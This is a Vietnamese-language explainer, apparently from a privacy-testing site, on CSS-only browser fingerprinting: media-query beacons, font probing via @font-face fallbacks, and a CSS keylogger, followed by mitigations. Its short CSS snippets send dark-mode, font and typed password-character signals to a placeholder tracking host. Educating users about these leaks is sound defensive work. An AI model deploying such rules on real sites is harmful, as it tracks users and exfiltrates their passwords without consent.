CSS media query và @font-face có thể để lộ chế độ tối, loại con trỏ, độ phân giải màn hình, và cả phông chữ đã cài — không cần một dòng JavaScript nào.
Phần lớn các biện pháp phòng vệ chống lấy dấu vân tay đều giả định mối đe dọa đến từ JavaScript: chặn script thì việc theo dõi sẽ dừng lại. CSS phá vỡ giả định đó. Chỉ riêng một stylesheet — không có bất kỳ thẻ <script> nào trên trang — cũng có thể phát hiện bạn đang ở chế độ tối hay không, bạn dùng màn hình cảm ứng hay chuột, màn hình của bạn sắc nét đến đâu, và thậm chí một phông chữ cụ thể có được cài hay không, chỉ bằng cách chọn yêu cầu mạng nào mà trình duyệt quyết định gửi đi. Vì kỹ thuật này không bao giờ chạm đến engine JavaScript, nó lách qua được NoScript, các tiện ích chặn script, và các chế độ duyệt web tắt JS — những thứ chặn đứng gần như mọi kỹ thuật khác.
Điểm chính
- CSS có thể lấy dấu vân tay trình duyệt mà không cần một dòng JavaScript nào, bằng cách dùng các quy tắc
@mediađể khiếnbackground-imagecủa một phần tử (hoặc nguồn@font-face) chỉ tải theo điều kiện — chính lựa chọn URL nào được trình duyệt tải về đã tiết lộ câu trả lời cho máy chủ của bên theo dõi. - Các tính năng media
prefers-color-scheme,prefers-reduced-motion,hover,pointervàresolutionmỗi tính năng đều để lộ ít nhất một bit (hoặc nhiều hơn) trạng thái thiết bị/hệ điều hành/khả năng tiếp cận thông qua cơ chế này. - Mẹo phát hiện phông chữ cổ điển không cần JS kết hợp nguồn
local()của@font-facevới một phương án dự phòng qua mạng: nếu một phông được đặt tên không được cài cục bộ, trình duyệt sẽ tải về một tệp từ xa thay thế — để lộ sự có mặt của phông mà không hề chạyqueryLocalFonts()hay đo văn bản bằng JavaScript. - Một kỹ thuật liên quan, xâm lấn hơn và cũng chỉ dùng CSS, sử dụng bộ chọn thuộc tính (attribute selectors) để khớp giá trị đang nhập của trường form theo từng ký tự, thực chất tạo ra một CSS keylogger mà không cần JavaScript nào cả.
- Vì không có script nào để chặn, việc tắt JavaScript, dùng NoScript, hay dựa vào một tiện ích quyền riêng tư tập trung vào JS đều không ngăn được việc lấy dấu vân tay hay rò rỉ dữ liệu dựa trên CSS — biện pháp phòng vệ phải diễn ra ở tầng CSS/mạng thay vào đó.
CSS fingerprinting là gì?
CSS fingerprinting là kỹ thuật suy luận trạng thái thiết bị, trình duyệt hoặc khả năng tiếp cận từ việc trình duyệt chọn áp dụng quy tắc style nào — và, quan trọng hơn, những quy tắc đó kích hoạt yêu cầu mạng nào. Trình duyệt chỉ tải một background-image, nguồn @font-face, hay tài nguyên bên ngoài tương tự khi quy tắc CSS tham chiếu đến nó thực sự khớp với trang hiện tại và các điều kiện media. Một bên theo dõi khai thác điều đó như một kênh phụ một-bit (hoặc nhiều-bit): gán cho hai quy tắc khác nhau hai URL khác nhau, đặt mỗi quy tắc sau một điều kiện @media khác nhau, và URL nào đến được máy chủ của bên theo dõi sẽ cho họ biết điều kiện nào là đúng — tất cả mà không có một dòng JavaScript nào chạy trong trình duyệt của người truy cập.
Đây không phải chỉ là một điều thú vị mang tính lý thuyết. Dự án Cover Your Tracks của EFF ghi nhận cách các tổ hợp tín hiệu thụ động — bao gồm cả những rò rỉ về kết xuất và tùy chọn như thế này — kết hợp lại thành một hồ sơ đặc trưng, theo cùng tinh thần với lấy dấu vân tay phông chữ và lấy dấu vân tay canvas, chỉ khác là được thu thập qua một cơ chế hoàn toàn khác.
Mẹo cốt lõi: yêu cầu mạng có điều kiện
Cơ chế đứng sau gần như mọi kỹ thuật theo dõi chỉ-dùng-CSS đều có cùng một hình dạng:
/* Chỉ được tải bởi những trình duyệt mà điều kiện media khớp */
@media (prefers-color-scheme: dark) {
body {
background-image: url("https://tracking.example/beacon?signal=dark");
}
}
@media (prefers-color-scheme: light) {
body {
background-image: url("https://tracking.example/beacon?signal=light");
}
}
Trình duyệt ở chế độ tối sẽ yêu cầu URL đầu tiên; trình duyệt ở chế độ sáng sẽ yêu cầu URL thứ hai. Máy chủ của bên theo dõi không bao giờ cần JavaScript để đọc một giá trị — nó chỉ cần nhận biết URL nào đã đến. Theo đặc tả W3C Media Queries, bất kỳ tính năng @media nào cũng có thể gác cổng việc áp dụng quy tắc theo cách này, nghĩa là về nguyên tắc, bất kỳ tính năng media nào mà trình duyệt tiết lộ đều có thể bị biến thành một rò rỉ.
Dò tùy chọn và phần cứng qua các tính năng media
Một số tính năng media tiêu chuẩn thực sự hữu ích cho thiết kế responsive — và mỗi tính năng cũng đồng thời là một tín hiệu vân tay khi kết hợp với kỹ thuật ở trên:
| Tính năng media | Công dụng hợp lệ | Điều gì bị lộ |
|---|---|---|
prefers-color-scheme | Tạo giao diện tối/sáng | Tùy chọn chủ đề ở cấp hệ điều hành hoặc trình duyệt |
prefers-reduced-motion | Giảm hoạt ảnh vì khả năng tiếp cận | Người dùng có bật một cài đặt hỗ trợ tiếp cận hay không — bản thân đó cũng là tín hiệu thu hẹp nhóm người dùng |
pointer và hover | Điều chỉnh vùng chạm cho cảm ứng so với chuột | Nhóm thiết bị ở mức thô: màn hình cảm ứng, chuột, hay thiết bị lai có cả hai |
resolution | Phục vụ ảnh sắc nét hơn cho màn hình DPI cao | Mật độ điểm ảnh màn hình, thu hẹp loại thiết bị/màn hình |
Không rò rỉ nào trong số này là bằng chứng kết án một mình — rất nhiều người chia sẻ cùng một tùy chọn chủ đề màu hay cùng một loại con trỏ. Vấn đề, cũng như với bất kỳ tín hiệu vân tay nào, là chúng rẻ để thu thập hàng loạt và kết hợp với mọi thứ khác mà một trang có thể quan sát về bạn, dù có JavaScript hay không. Việc hỗ trợ các tính năng này khá rộng rãi trên trình duyệt nhưng không phổ quát trên các engine cũ hơn; xem caniuse để biết mức độ hỗ trợ hiện tại cụ thể cho các tính năng media tương tác.
Dò phông chữ mà không cần JavaScript
Kỹ thuật chỉ-dùng-CSS ấn tượng nhất nhắm vào các phông chữ đã cài — cùng một tín hiệu mà lấy dấu vân tay phông chữ thu thập qua JavaScript, nhưng ở đây lại đạt được thông qua hành vi dự phòng của @font-face. @font-face cho phép danh sách src trộn một nguồn local() với một phương án dự phòng url() từ xa:
@font-face {
font-family: "probe-calibri";
/* Nếu "Calibri" được cài cục bộ, trình duyệt sẽ dùng nó và không bao giờ
yêu cầu URL từ xa. Nếu vắng mặt, tệp từ xa sẽ được tải. */
src: local("Calibri"), url("https://tracking.example/beacon?font=calibri");
}
.probe { font-family: "probe-calibri", sans-serif; }
Nếu người truy cập đã cài Calibri, trình duyệt sẽ phân giải phông cục bộ và yêu cầu từ xa không bao giờ được kích hoạt. Nếu chưa, trình duyệt sẽ âm thầm dự phòng sang nguồn mạng — và chính yêu cầu đó là dấu hiệu tố cáo. Lặp lại mẫu này với một danh sách tên phông phổ biến, mỗi tên trỏ đến một URL theo dõi riêng biệt, và một trang có thể thu thập một hồ sơ có mặt/vắng mặt phông chữ mà hoàn toàn không cần JavaScript, sử dụng đúng logic dự phòng làm cho kỹ thuật dựa trên JS trong hướng dẫn lấy dấu vân tay phông chữ của chúng tôi hoạt động — chỉ khác là được quan sát từ phía máy chủ thay vì đo ở phía client.
CSS như một keylogger
Một biến thể mạnh bạo hơn của kỹ thuật này dùng bộ chọn thuộc tính để khớp giá trị đang có của một trường form:
input[type="password"][value^="a"] {
background-image: url("https://tracking.example/beacon?char=a");
}
Vì CSS đánh giá lại các bộ chọn mỗi khi DOM thay đổi, một quy tắc như thế này sẽ kích hoạt — và gửi một yêu cầu — ngay khi một ký tự khớp được gõ vào, trước cả khi nút gửi được nhấn. Nhà nghiên cứu bảo mật Max Chehab đã công bố một bằng chứng khái niệm CSS keylogger hoạt động thực tế, được xây dựng hoàn toàn từ các quy tắc bộ chọn thuộc tính như thế này, chứng minh rằng việc rò rỉ dữ liệu có ý nghĩa hoàn toàn không cần đến JavaScript. Hầu hết các framework hiện đại kết xuất trường nhập mật khẩu không còn phơi bày thuộc tính value thô theo cách này nữa, nhưng cơ chế CSS nền tảng — một bộ chọn khớp sẽ kích hoạt một yêu cầu mạng — vẫn giống hệt các mẹo media-query và phông chữ ở trên.
Vì sao kỹ thuật này sống sót qua các trình chặn script
Lý do khiến việc lấy dấu vân tay chỉ-dùng-CSS đáng quan tâm không phải vì một tín hiệu đơn lẻ nào đó đặc biệt mạnh — mà vì nó nhắm vào đúng điểm mù trong cách người dùng tự bảo vệ mình. Tắt JavaScript, chạy NoScript, hay dùng một tiện ích chặn script sẽ chặn đại đa số các script theo dõi, việc đọc canvas, và các lệnh gọi API. Không điều nào trong số đó chạm đến CSS. Trình duyệt bắt buộc phải phân tích cú pháp và áp dụng stylesheet để có thể kết xuất một trang, và việc tải các tài nguyên mà những stylesheet đó tham chiếu là một phần cốt lõi của công việc đó — không có "chế độ an toàn" nào bỏ qua bước này. Đó chính xác là lý do kỹ thuật này cùng chung một chủ đề với việc lấy dấu vân tay WebGL và âm thanh: giống như chúng, nó sống sót qua việc xóa cookie và duyệt web riêng tư, vì không có gì trong đó phụ thuộc vào dữ liệu được lưu trữ — nhưng khác với chúng, nó còn sống sót qua cả việc tắt hoàn toàn engine kịch bản, vốn là tầng mà hầu hết lời khuyên về quyền riêng tư tập trung vào. Để biết vì sao việc xếp chồng nhiều tín hiệu yếu như thế này lại trở thành một mã định danh mạnh, xem hướng dẫn lấy dấu vân tay trình duyệt của chúng tôi.
Biện pháp giảm thiểu
- Chặn các stylesheet và phông chữ bên thứ ba mà bạn không yêu cầu, giống như cách bạn chặn script bên thứ ba — hầu hết các tiện ích chặn nội dung đều có thể hạn chế việc tải CSS và phông chữ liên miền, chứ không chỉ JavaScript.
- Tắt việc tải phông từ xa ở nơi trình duyệt của bạn cho phép; điều này đóng trực tiếp vector dò phông qua dự phòng
local(), với cái giá là phông tùy chỉnh của một số trang sẽ không hiển thị được. - Dùng một trình duyệt hoặc chế độ chuẩn hóa việc phơi bày tùy chọn. Cùng triết lý đồng nhất giúp chống lại việc lấy dấu vân tay canvas và phông chữ — môi trường chuẩn hóa của Tor Browser,
privacy.resistFingerprintingcủa Firefox — cũng làm giảm mức độ màprefers-color-scheme,pointervà các tính năng tương tự lệch khỏi chuẩn chung. - Ưu tiên các framework không rò rỉ giá trị nhập đang có vào DOM dưới dạng thuộc tính, đóng riêng vector CSS keylogger này.
Câu hỏi thường gặp
CSS fingerprinting có cần JavaScript chút nào không?
Không. Mọi kỹ thuật được mô tả ở đây đều hoạt động chỉ bằng CSS thuần — các quy tắc @media và các phương án dự phòng @font-face kích hoạt yêu cầu mạng theo điều kiện. Đó chính là điều khiến nó đáng chú ý: các biện pháp phòng vệ tập trung vào JavaScript không chạm được đến nó.
NoScript hay một trình chặn script có ngăn được nó không?
Không. Việc chặn thực thi JavaScript không ảnh hưởng gì đến việc phân tích cú pháp CSS hay các yêu cầu tài nguyên mà một stylesheet kích hoạt. Để ngăn việc theo dõi dựa trên CSS, cần chặn cụ thể các yêu cầu CSS/phông/ảnh liên miền, chứ không phải engine kịch bản.
Lấy dấu vân tay CSS có mạnh như lấy dấu vân tay canvas hay WebGL không?
Không nếu đứng một mình — mỗi phép dò tính năng media hay phông chữ chỉ để lộ một tín hiệu nhỏ, thô, chứ không phải một mã băm entropy cao. Nó trở nên có ý nghĩa theo cách mà hầu hết các tín hiệu vân tay khác cũng vậy: khi kết hợp với mọi thứ khác mà một trang có thể quan sát được, như đã trình bày trong hướng dẫn lấy dấu vân tay trình duyệt của chúng tôi.
Làm sao để kiểm tra những gì trình duyệt của tôi để lộ?
Hãy chạy công cụ kiểm tra dấu vân tay của BrowserInsight để xem các tín hiệu mà trình duyệt của bạn rò rỉ qua JavaScript, và kết hợp nó với một trình chặn nội dung được cấu hình để hạn chế stylesheet và phông chữ bên thứ ba, vì bề mặt đó không được bao phủ chỉ bằng việc chặn script.
Kết luận
CSS fingerprinting biến một tính năng kết xuất bình thường hằng ngày — quyết định của trình duyệt về việc tải tài nguyên nào — thành một kênh theo dõi hoàn toàn không cần JavaScript. Các ảnh nền được gác bởi media query rò rỉ những tùy chọn như chủ đề màu và loại con trỏ; logic dự phòng của @font-face rò rỉ các phông chữ đã cài; bộ chọn thuộc tính thậm chí có thể rò rỉ từng ký tự được gõ vào một form. Không điều nào trong số đó bị ngăn chặn bằng cách tắt script, đó chính xác là lý do vì sao đáng để biết về nó ngay cả khi bạn đã gia cố việc phơi bày JavaScript của mình ở những nơi khác.
Bài viết nên đọc:


